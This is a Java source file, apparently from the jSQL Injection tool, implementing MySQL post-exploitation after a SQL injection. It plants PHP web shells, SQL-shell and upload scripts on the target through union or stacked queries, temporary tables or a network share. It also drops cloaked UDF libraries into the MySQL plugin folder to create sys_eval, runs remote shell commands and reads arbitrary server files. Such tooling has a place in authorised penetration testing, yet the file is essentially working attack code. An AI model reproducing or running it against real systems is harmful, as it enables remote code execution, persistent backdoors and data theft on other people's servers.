1 package com.jsql.model.accessible.engine;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ExploitMode;
6 import com.jsql.model.accessible.ResourceAccess;
7 import com.jsql.model.accessible.engine.mysql.ModelYamlMysql;
8 import com.jsql.model.bean.database.MockElement;
9 import com.jsql.model.suspendable.Input;
10 import com.jsql.view.subscriber.Seal;
11 import com.jsql.model.exception.AbstractSlidingException;
12 import com.jsql.model.exception.JSqlException;
13 import com.jsql.model.exception.JSqlRuntimeException;
14 import com.jsql.model.injection.engine.model.EngineYaml;
15 import com.jsql.model.suspendable.SuspendableGetRows;
16 import com.jsql.util.LogLevelUtil;
17 import com.jsql.util.StringUtil;
18 import org.apache.commons.codec.binary.Hex;
19 import org.apache.commons.lang3.RandomStringUtils;
20 import org.apache.commons.lang3.StringUtils;
21 import org.apache.logging.log4j.LogManager;
22 import org.apache.logging.log4j.Logger;
23 import org.yaml.snakeyaml.Yaml;
24
25 import java.io.*;
26 import java.net.http.HttpResponse;
27 import java.nio.charset.StandardCharsets;
28 import java.nio.file.Files;
29 import java.nio.file.Path;
30 import java.nio.file.Paths;
31 import java.util.List;
32 import java.util.Objects;
33 import java.util.UUID;
34 import java.util.function.BiPredicate;
35 import java.util.function.BinaryOperator;
36
37 public class ExploitMysql {
38
39 private static final Logger LOGGER = LogManager.getRootLogger();
40 public static final String NAME_TABLE = "temp";
41 private final InjectionModel injectionModel;
42 private final ModelYamlMysql modelYaml;
43
44 private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
45 try {
46 return this.buildSysEval(nameLibraryRandom);
47 } catch (JSqlException e) {
48 throw new JSqlRuntimeException(e);
49 }
50 };
51
52 public ExploitMysql(InjectionModel injectionModel) {
53 this.injectionModel = injectionModel;
54 var yaml = new Yaml();
55 this.modelYaml = yaml.loadAs(
56 injectionModel.getMediatorEngine().getMysql().instance().getModelYaml().getResource().getExploit(),
57 ModelYamlMysql.class
58 );
59 }
60
61 public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
62 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
63
64 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
65 this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
66 return urlSuccess;
67 };
68 return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
69 }
70
71 public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
72 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
73 var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
74 if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
75 this.injectionModel.sendToViews(new Seal.AddTabExploitSql(urlSuccess, username, password));
76 return urlSuccess;
77 }
78 return StringUtils.EMPTY;
79 };
80 var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
81 if (StringUtils.isEmpty(urlSuccess)) {
82 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
83 urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
84 }
85 if (StringUtils.isEmpty(urlSuccess)) {
86 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
87 urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
88 }
89 if (StringUtils.isEmpty(urlSuccess)) {
90 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
91 }
92 return urlSuccess;
93 }
94
95 public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
96 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
97 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
98 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
99 if (result.body().contains(DataAccess.LEAD +"y")) {
100 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
101 } else {
102 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
103 }
104 } catch (InterruptedException e) {
105 LOGGER.log(LogLevelUtil.IGNORE, e, e);
106 Thread.currentThread().interrupt();
107 } catch (IOException | JSqlException e) {
108 throw new JSqlRuntimeException(e);
109 }
110 return urlSuccess;
111 };
112 this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
113 }
114
115
116
117
118
119 public String create(
120 String pathRemoteFolder,
121 String urlExploit,
122 String keyPropertyExploit,
123 String nameExploit,
124 BinaryOperator<String> biFuncGetRequest,
125 String pathNetshareFolder,
126 ExploitMode exploitMode
127 ) throws JSqlException {
128 if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
129 return null;
130 }
131
132 String bodyExploit = StringUtil.base64Decode(
133 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(keyPropertyExploit)
134 )
135 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
136 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
137
138
139 BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
140 try {
141 String resultInjection = this.confirm(pathFolder + nameFile);
142 return resultInjection.contains(bodyExploit);
143 } catch (JSqlException e) {
144 throw new JSqlRuntimeException(e);
145 }
146 };
147
148 var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
149 String nameExploitValidated = StringUtils.EMPTY;
150
151 if (exploitMode == ExploitMode.NETSHARE) {
152 ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit);
153 nameExploitValidated = this.byNetshare(
154 nbIndexesPrefix,
155 pathNetshareFolder,
156 nameExploit,
157 pathRemoteFolder,
158 biPredConfirm
159 );
160 } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
161 nameExploitValidated = this.byQueryBody(
162 nbIndexesPrefix,
163 pathRemoteFolder,
164 nameExploit,
165 StringUtil.toHexChunks(bodyExploit.getBytes()),
166 biPredConfirm
167 );
168 }
169 if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
170 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
171 this.byTable(
172 StringUtil.toHexChunks(bodyExploit.getBytes()),
173 pathRemoteFolder + nameExploitRandom
174 );
175 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
176 nameExploitValidated = nameExploitRandom;
177 }
178 }
179
180 if (StringUtils.isEmpty(nameExploitValidated)) {
181 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
182 return null;
183 }
184 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
185
186 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploitValidated, biFuncGetRequest);
187 }
188
189 public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
190 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
191
192 if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
193 return;
194 }
195
196 var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
197 var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
198 if (StringUtils.isEmpty(pathPlugin)) {
199 throw new JSqlException("Incorrect plugin folder: path is empty");
200 }
201
202 String nameLibrary = this.getNameLibrary();
203
204 pathPlugin = pathPlugin.replace("\\", "/");
205 if (!pathPlugin.endsWith("/")) {
206 pathPlugin = String.format("%s%s", pathPlugin, "/");
207 }
208
209 if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
210 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
211 }
212 String isSuccess = StringUtils.EMPTY;
213 if (exploitMode == ExploitMode.NETSHARE) {
214 var pathNetshareFolderFixed = pathNetshareFolder;
215 if (!pathNetshareFolderFixed.endsWith("\\")) {
216 pathNetshareFolderFixed += "\\";
217 }
218 ExploitMysql.copyLibraryToShare(pathNetshareFolderFixed, nameLibrary);
219 isSuccess = this.byNetshare(
220 nbIndexesFound,
221 pathNetshareFolderFixed,
222 nameLibrary,
223 pathPlugin,
224 this.biPredCreateUdf
225 );
226 } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
227 if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().connectionUtil().getTypeRequest())) {
228 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead");
229 }
230 isSuccess = this.byQueryBody(
231 nbIndexesFound,
232 pathPlugin,
233 nameLibrary,
234 ExploitMysql.toHexChunks(nameLibrary),
235 this.biPredCreateUdf
236 );
237 }
238 if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
239 var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
240 this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
241 this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
242 }
243 }
244
245 private String getNameLibrary() throws JSqlException {
246 var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
247 if (StringUtils.isEmpty(versionOsMachine)) {
248 throw new JSqlException("Incorrect remote machine: unknown system");
249 }
250 var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
251 String nameLibrary;
252 if (versionOsMachine.contains("64")) {
253 nameLibrary = isWin ? "64.dll" : "64.so";
254 } else {
255 nameLibrary = isWin ? "32.dll" : "32.so";
256 }
257 return nameLibrary;
258 }
259
260 public String byQueryBody(
261 int nbIndexesPrefix,
262 String pathRemoteFolder,
263 String nameExploit,
264 List<String> hexChunks,
265 BiPredicate<String, String> biPredConfirm
266 ) {
267 String nameExploitValidated = StringUtils.EMPTY;
268 var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
269
270 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
271 int countUnionIndex = this.injectionModel.getMediatorUtils().preferencesUtil().isLimitingUnionIndex()
272 ? this.injectionModel.getMediatorUtils().preferencesUtil().countUnionIndex()
273 : 15;
274 for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) {
275 int finalI = i;
276 LOGGER.log(
277 LogLevelUtil.CONSOLE_DEFAULT,
278 "Checking file write with [union select {}fileBody]",
279 () -> "'',".repeat(finalI)
280 );
281 this.injectionModel.injectWithoutIndex(String.format(pattern,
282 "and 1=2 union",
283 "'',".repeat(i),
284 String.join(StringUtils.EMPTY, hexChunks),
285 pathRemoteFolder + nameExploitRandom
286 ), "body#union-dump");
287 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
288 nameExploitValidated = nameExploitRandom;
289 break;
290 } else if (nbIndexesPrefix > -1) {
291 break;
292 }
293 }
294 if (StringUtils.isEmpty(nameExploitValidated)) {
295 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
296 nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
297 this.injectionModel.injectWithoutIndex(String.format(pattern,
298 ";",
299 StringUtils.EMPTY,
300 String.join(StringUtils.EMPTY, hexChunks),
301 pathRemoteFolder + nameExploitRandom
302 ), "body#stack-dump");
303 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
304 nameExploitValidated = nameExploitRandom;
305 }
306 }
307 return nameExploitValidated;
308 }
309
310 public String byNetshare(
311 int nbIndexesPrefix,
312 String pathNetshareFolder,
313 String nameExploit,
314 String pathRemoteFolder,
315 BiPredicate<String, String> biPredConfirm
316 ) {
317 String nameExploitValidated = StringUtils.EMPTY;
318 var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
319 var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
320
321 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
322 var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
323 this.injectionModel.injectWithoutIndex(String.format(pattern,
324 "and 1=2 union",
325 "'',".repeat(nbIndexesPrefix),
326 pathShareEncoded + nameExploit,
327 pathRemoteFolder + nameExploitRandom
328 ), "netshare#union");
329 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
330 nameExploitValidated = nameExploitRandom;
331 }
332 if (StringUtils.isEmpty(nameExploitValidated)) {
333 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
334 nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
335 this.injectionModel.injectWithoutIndex(String.format(pattern,
336 ";",
337 StringUtils.EMPTY,
338 pathShareEncoded + nameExploit,
339 pathRemoteFolder + nameExploitRandom
340 ), "netshare#stack");
341 if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
342 nameExploitValidated = nameExploitRandom;
343 }
344 }
345 return nameExploitValidated;
346 }
347
348 public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
349 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
350 var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
351 if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
352 nameDatabase = "mysql";
353 }
354 var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);
355 var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
356 this.injectionModel.injectWithoutIndex(String.format(
357 this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
358 nameSchemaTable
359 ), ResourceAccess.TBL_DROP);
360 var countResult = this.getCountTable(nameDatabase, nameTableRandom);
361 if (!"0".equals(countResult)) {
362 throw new JSqlException("Drop table failure: "+ countResult);
363 }
364 this.injectionModel.injectWithoutIndex(String.format(
365 this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
366 nameSchemaTable
367 ), ResourceAccess.TBL_CREATE);
368 countResult = this.getCountTable(nameDatabase, nameTableRandom);
369 if (!"1".equals(countResult)) {
370 throw new JSqlException("Create table failure: "+ countResult);
371 }
372 int indexChunk = 0;
373 for (String chunk: bodyHexChunks) {
374 if (indexChunk == 0) {
375 this.injectionModel.injectWithoutIndex(String.format(
376 this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
377 nameSchemaTable,
378 chunk
379 ), "tbl#init");
380 } else {
381 this.injectionModel.injectWithoutIndex(String.format(
382 this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
383 nameSchemaTable,
384 chunk
385 ), ResourceAccess.TBL_FILL);
386 }
387 indexChunk++;
388 }
389 this.injectionModel.injectWithoutIndex(String.format(
390 this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
391 nameSchemaTable,
392 pathRemoteFile
393 ), ResourceAccess.TBL_DUMP);
394 }
395
396 private String getCountTable(String nameDatabase, String nameTableRandom) {
397 try {
398 return this.injectionModel.getResourceAccess().getResult(String.format(
399 this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
400 nameTableRandom,
401 nameDatabase
402 ), "tbl#check");
403 } catch (JSqlException e) {
404 return e.getMessage();
405 }
406 }
407
408 private boolean buildSysEval(String nameLibrary) throws JSqlException {
409 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
410 this.injectionModel.injectWithoutIndex(String.format(
411 this.modelYaml.getUdf().getAddFunction().getCreate(),
412 nameLibrary
413 ), "udf#function");
414 var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
415 if (!confirm.contains("sys_eval")) {
416 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
417 return false;
418 }
419 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
420
421 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
422 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitMysql().runRceCmd(command, terminalID)
423 ));
424 return true;
425 }
426
427 public String confirm(String path) throws JSqlException {
428 var sourcePage = new String[]{ StringUtils.EMPTY };
429 return new SuspendableGetRows(this.injectionModel).run(new Input(
430 this.modelYaml.getFile().getRead().replace(
431 EngineYaml.FILEPATH_HEX,
432 Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
433 ),
434 sourcePage,
435 false,
436 1,
437 MockElement.MOCK,
438 "xplt#confirm-file"
439 ));
440 }
441
442 public String runRceCmd(String command, UUID uuidShell) {
443 String result;
444 try {
445 result = this.injectionModel.getResourceAccess().getResult(String.format(
446 this.modelYaml.getUdf().getRunCmd(),
447 command.replace(StringUtils.SPACE, "%20")
448 ), "udf#run-cmd") +"\n";
449 } catch (JSqlException e) {
450 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
451 }
452 this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));
453 return result;
454 }
455
456 public String getRead(String pathFile) throws AbstractSlidingException {
457 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege");
458 return new SuspendableGetRows(this.injectionModel).run(new Input(
459 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace(
460 EngineYaml.FILEPATH_HEX,
461 Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8))
462 ),
463 new String[]{ StringUtils.EMPTY },
464 false,
465 1,
466 MockElement.MOCK,
467 ResourceAccess.FILE_READ
468 ));
469 }
470
471 private static List<String> toHexChunks(String filename) throws JSqlException {
472 try {
473 byte[] fileData = ExploitMysql.uncloak(filename);
474 return StringUtil.toHexChunks(fileData);
475 } catch (IOException e) {
476 throw new JSqlException(e);
477 }
478 }
479
480 private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
481 try {
482 byte[] fileData = ExploitMysql.uncloak(nameLibrary);
483 Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary);
484 try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) {
485 stream.write(fileData);
486 }
487 } catch (IOException e) {
488 throw new JSqlException(e);
489 }
490 }
491
492 private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException {
493 Path path = Paths.get(pathFile);
494 try {
495 Files.write(path, bodyExploit.getBytes());
496 } catch (IOException e) {
497 throw new JSqlException(e);
498 }
499 }
500
501 private static byte[] uncloak(String nameLibrary) throws IOException {
502 byte[] fileData = Objects.requireNonNull(
503 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak")
504 ).readAllBytes();
505 fileData = StringUtil.uncloak(fileData);
506 return fileData;
507 }
508
509 public ModelYamlMysql getModelYaml() {
510 return this.modelYaml;
511 }
512 }